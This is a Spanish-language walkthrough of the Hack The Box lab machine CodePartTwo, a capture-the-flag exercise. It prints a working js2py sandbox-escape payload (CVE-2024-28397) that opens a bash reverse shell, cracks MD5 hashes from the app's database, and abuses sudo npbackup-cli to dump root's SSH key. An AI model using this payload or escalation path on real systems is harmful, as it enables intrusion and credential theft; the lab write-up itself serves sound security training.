CodePartTwo – Hack The Box [Write Up]

La máquina CodePartTwo es una máquina fácil de HTB.

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn».

ENUMERACIÓN DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.82 -oG Escaneo

Sabemos por tanto que los puerto 22 SSH y 8000 http-alt están abiertos.

El puerto 8000 es un puerto TCP que suele usarse como alternativa al puerto 80 (HTTP estándar). Cuando lo ves como http-alt, significa «HTTP Alternate», es decir, un puerto alternativo para servir tráfico web.

El uso típico de este puerto es en aplicaciones que no quieren o no pueden usar el puerto 80 porque ya está ocupado o requiere permisos de administrador.

A continuación lo que voy a hacer es analizar los servicios y versiones que corren para esos puertos abiertos, de esta forma obtengo más detalle clave sobre posibles exploits que pueda encontrar, para ello lanzo este comando:

Por searchsploit parece no encontrarse nada reportado para esa versión de OpenSSH.

FINGERPRINTING DE SERVICIOS

Sin embargo por el puerto 8000 web alternativo hay una versión de Gunicorn 20.0.4 vulnerable, igual que pasaba con la máquina anterior «Code» que ya resolvimos.

La vulnerabilidad que encontré asociada a esa versión es la llamada «Gunicorn 20.0.4 Request Smuggling» cuyo funcionamiento y explotación serían:

Qué ocurre:

  • Gunicorn 20.0.4 tiene un fallo en la función set_body_reader dentro de http/message.py
  • Si una petición HTTP incluye el encabezado Sec-Websocket-Key1, Gunicorn ignora el valor real de Content-Length y asume que el cuerpo de la petición tiene longitud de 8 bytes.
  • Un proxy delante de Gunicorn manejaría la petición usando el Content-Length verdadero. Gunicorn la manejará como si tuviera un cuerpo de 8 bytes. Queda “sobrante” contenido que el proxy ha enviado que Gunicorn no procesó como parte de esa petición. Ese contenido se interpretaría como una petición independiente que Gunicorn procesaría después, a través de la misma conexión TCP persistente (“keep-alive”).

Cómo se explota

  • Un atacante envíaría una petición con Content-Length: grande + Sec-Websocket-Key1: para forzar que Gunicorn corte el cuerpo a 8 bytes.
  • Dentro del cuerpo enviado por el atacante hay una segunda petición HTTP (la petición “smuggled”) que Gunicorn no espera leer inmediatamente, pero que el proxy ya ha transmitido.
  • Gunicorn la lee como petición separada, lo que permite saltarse reglas de seguridad en el proxy, alcanzar endpoints internos, o hacer cosas que normalmente no debería permitirse.

Vamos a analizar el puerto 8000 para ver que devuelve …. http://10.10.11.82:8000/

Parece de primeras una aplicación web con 3 botones de Login, Registro y Descarga.

DIRECTORY FUZZING

Tiramos un análisis de búsqueda de directorios con Feroxbuster y vemos los enlaces:

feroxbuster -u http://10.10.11.82:8000/ -w /usr/share/seclists/Discovery/Web-Content/common.txt 

Vemos los directorio que visualmente ya vemos en la web a través de esos 3 botones (más el de Dashboard que hace redir a Login por default).

REVISIÓN DE CÓDIGO Y DEPENDENCIAS

Si trato de Descargar la App, se me descarga un app.zip con un listado de ficheros. El que me ha parecido más relevante es el de requirements.txt que nos dice las dependencias, entre ellas js2py=0.74.

Y si además me registro en la web y entro en el Dashboard, veo que me permite editar código Javascript.

EXPLOTACIÓN RCE

Esto supone que es posible ejecutar RCE con js2py 0.74.

js2py tiene una vulnerabilidad en la función de “bloqueo” disable_pyimport() en versiones ≤ 0.74. Aunque el programador crea que la ejecución está “aislada”, un atacante puede escapar a Python y ejecutar comandos del sistema.

Ese dashboard ejecuta JavaScript en el servidor usando js2py.disable_pyimport(), que es vulnerable (CVE-2024-28397). Esto permite escapar de la “sandbox” y ejecutar comandos del SO.

En la aplicación, incluimos este código JS y ejecutamos, previamente nos conectamos por nc por el puerto 4444 de esta forma:

rlwrap nc -lvnp 4444
let pyref = Object.getOwnPropertyNames({}).__getattribute__("__getattribute__")("__class__").__base__;
for (let i in pyref.__subclasses__()) {
  let item = pyref.__subclasses__()[i];
  if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
    item("bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'", -1, null, -1, -1, -1, null, null, true);
    break;
  }
}

Y recibimos respuesta.

REVERSE SHELL

Después lo que hacemos es estabilizar la terminal para que sea más fácil de usar:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

y conociendo en los archivos y carpetas extraidas del app.zip que hay un directorio llamado instances con una db llamada «user.db», lo que hacemos mediante sqlite3 es extraer los usuarios (marco, app y qwe) y contraseñas ( hasheadas en MD5 que tendremos que romper.)

MD5 (Message-Digest Algorithm 5) es un algoritmo de hashing criptográfico de 128 bits que genera una «huella» o resumen de 32 caracteres para cualquier archivo o mensaje.

ENUMERACIÓN BASE DE DATOS

Que supiéramos que había una base de datos de usuarios es porque es lo más habitual en apps Flask sencillas. En estos proyectos el fichero suele estar en la ruta de “instancia” de Flask, y efectivamente lo vemos con ese fichero «users.db» en sqlite:

CRACKEO DE HASHES

Conociendo esos tres usuarios y los hashes de sus contraseñas, vamos a crackearlas con CrackStation:

marco;sweetangelbabylove

app; NO_SE_ENCONTRÓ_NADA

qwe;qwe

Con el usuario de marco y la contraseña, nos conectamos al puerto 22 de autenticación del usuario y vemos la user flag.

ABUSO DE PERMISOS SUDO

Ahora nos toca elevar los permisos a root.

Como usuario marco, analizamos con sudo -l qué permisos tiene marco, y vemos que puede ejecutar un programa de copias como root sin pedir contraseña.

npbackup-cli es un gestor de copias de seguridad basado en restic.

Vemos que modificando la configuración podemos forzar el backup root.

Ejecutamos con permisos de sudo la copia de seguridad:

sudo npbackup-cli -c npbackup.conf -b -f

SSH CON CLAVE PRIVADA

y volcamos la clave de root:

sudo npbackup-cli -c npbackup.conf -f --dump /root/.ssh/id_rsa

Nos llevamos esa clave a un nuevo archivo dentro del directorio /tmp/id_rsa

SSH exige que la clave privada no sea legible por otros usuarios, por lo que si no ponemos chmod 600 el cliente SSH la rechazará.

Comprobamos si la clave tiene passphrase, y en este caso, no tiene, por lo que nos permite conectarnos desde la misma máquina (esto evita problemas de red/firewall).

Ahora con el último comando: -i indica el fichero de clave, -o IdentitiesOnly=yes fuerza que use sólo esa clave y no otras. Prueba root primero (si el servidor permite root login por clave).

Y ya estamos con permisos root y encontramos la flag root.txt:

RESUMEN DE LA MÁQUINA CODEPARTTWO

Comencé la máquina comprobando que estaba activa y viendo que era Linux. Escaneé con nmap y descubrí dos puertos abiertos: el 22 (SSH) y el 8000 (HTTP-alt).

En el puerto 8000 había una aplicación web con login, registro y descarga de un archivo app.zip. Dentro de ese zip encontré un requirements.txt con la librería js2py 0.74, que tiene una vulnerabilidad conocida (CVE-2024-28397). Al registrarme y acceder al dashboard de la aplicación vi que permitía ejecutar código JavaScript en el servidor, así que aproveché esa vulnerabilidad para escapar a Python y lanzar un reverse shell hacia mi máquina Kali.

Con la shell inicial estabilizada, busqué en los archivos de la aplicación y encontré una base de datos SQLite llamada users.db que contenía usuarios y contraseñas hasheadas en MD5. Tras crackear esos hashes obtuve varias credenciales, y con las de marco pude entrar directamente por SSH al sistema víctima en el puerto 22.

Ya dentro como marco, comprobé los permisos con sudo -l y descubrí que este usuario podía ejecutar el binario npbackup-cli como root sin contraseña, lo que me dio una vía clara para escalar privilegios.
El binario npbackup-cli es un gestor de copias basado en restic, así que lo configuré para incluir el directorio /root en un backup. Con un simple sudo npbackup-cli logré volcar la clave privada SSH de root (/root/.ssh/id_rsa).
Guardé esa clave en /tmp/id_rsa, le di permisos correctos (chmod 600) y comprobé que no tenía passphrase.

Finalmente, me conecté con ssh -i /tmp/id_rsa root@127.0.0.1 y conseguí acceso total como root, donde pude leer la flag root.txt.

TÉCNICAS

Reconocimiento y enumeración de puertos (Nmap). El primer paso fue identificar si la máquina estaba activa y qué servicios ofrecía. Con nmap descubrimos que tenía abiertos los puertos 22 (SSH) y 8000 (HTTP-alt). Esta enumeración es fundamental porque nos da las posibles puertas de entrada y qué tecnologías podemos investigar más a fondo.

Fingerprinting de servicios. Una vez identificados los puertos, analizamos qué software y versiones estaban corriendo. En este caso, detectamos Gunicorn 20.0.4 en el puerto 8000 y, al descargar el archivo app.zip, vimos en requirements.txt la librería js2py en su versión 0.74. Este proceso sirve para localizar versiones vulnerables que puedan explotarse.

Directory Fuzzing (Feroxbuster). Mediante fuerza bruta de rutas web descubrimos directorios y endpoints adicionales de la aplicación, como /dashboard, que inicialmente no eran visibles. Esta técnica permite acceder a funciones ocultas o administrativas en aplicaciones web.

Revisión de código y dependencias. Analizando los ficheros descargados de la web, encontramos detalles críticos: requirements.txt mostraba el uso de js2py 0.74, que es vulnerable a ejecución remota. Examinar dependencias o configuraciones es clave para detectar software con fallos conocidos.

Explotación de RCE en js2py (CVE-2024-28397). Aprovechamos la vulnerabilidad en js2py para escapar de la sandbox de JavaScript y ejecutar comandos Python, invocando subprocess.Popen. Esto nos dio la posibilidad de ejecutar instrucciones del sistema directamente desde el dashboard de la aplicación web.

Reverse Shell. Para trabajar con más comodidad establecimos una reverse shell: la máquina víctima se conectó a nuestra Kali y nos ofreció una consola interactiva. Así obtuvimos un entorno donde ejecutar comandos con mayor control y estabilidad.

Post-Explotación: Enumeración de bases de datos. Dentro del sistema, buscamos información sensible y hallamos users.db, una base de datos SQLite típica en aplicaciones Flask. Allí estaban almacenados los usuarios y sus contraseñas en formato hash.

Crackeo de hashes (MD5). Los hashes de contraseñas extraídos de la base de datos estaban en MD5. Usamos diccionarios como rockyou o servicios online para romperlos, y así obtuvimos credenciales en texto claro. Esto nos permitió acceder por SSH con el usuario marco.

Abuso de permisos Sudo (Privilege Escalation). Una vez dentro como marco, comprobamos con sudo -l qué comandos podía ejecutar sin contraseña. Descubrimos que tenía acceso a npbackup-cli con privilegios de root, lo que abría la puerta a escalar privilegios.

Abuso de herramientas de backup. Configuramos npbackup-cli, un gestor de copias basado en restic, para que incluyera /root en un backup. Después usamos la función de volcado (--dump) para extraer la clave privada SSH de root, que de otro modo no sería accesible.

SSH con clave privada. Finalmente guardamos la clave privada, le dimos permisos seguros y la usamos con ssh -i para autenticarnos directamente como root en la máquina víctima. De esta forma accedimos a la cuenta más privilegiada y pudimos leer la flag final root.txt.

Otros posts relacionados